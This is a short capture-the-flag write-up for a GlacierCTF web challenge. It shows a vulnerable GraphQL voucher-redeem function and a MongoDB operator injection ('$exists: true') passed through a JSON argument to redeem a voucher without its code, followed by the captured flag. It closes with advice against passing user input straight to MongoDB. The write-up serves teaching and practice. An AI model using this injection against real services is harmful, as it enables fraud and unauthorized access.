Challenge

Now that you are logged, can you obtain some FlagCoins?

https://flagcoin.ctf.glacierctf.com

Writeup

We need to redeem a voucher, but we do not know the code. Here is the relevant code:

const redeem = ({ voucher }, { req }) => {
  return auth.getUser(req)
    .then(user => {
      if(!user) {
        throw new Error("You must be logged in");
      }
      return db.Voucher.findOne({ code: voucher.code }).lean().exec()
        .then(dbvoucher => {
          if(!dbvoucher) {
            throw new Error("Voucher does not exist");
          }
          user.coins += dbvoucher.coins;
          // "TODO" delete voucher
          return dbvoucher;
        })
  })
  .catch(e => {
    throw new Error("Error occured "+e);
  });
};

The database is MongoDB, which means we can use conditions to the query. If we can set the query to {code: {$exists: true}}, we can find the voucher without knowing the correct code.

Fortunately, the GraphQL mutation uses JSON argument. We can easily capture the flag via:

graphql("mutation($voucher: JSON!) {redeem(voucher: $voucher) {coins message} }", {voucher: {code: {$exists: true}}}).await
// => glacierctf{th4nk_y0u_for_p4r7icip4ting_at_0ur_get_p00r_qu1ck_sch3m3}

Conclusion

Do not pass arbitrary value from user to MongoDB.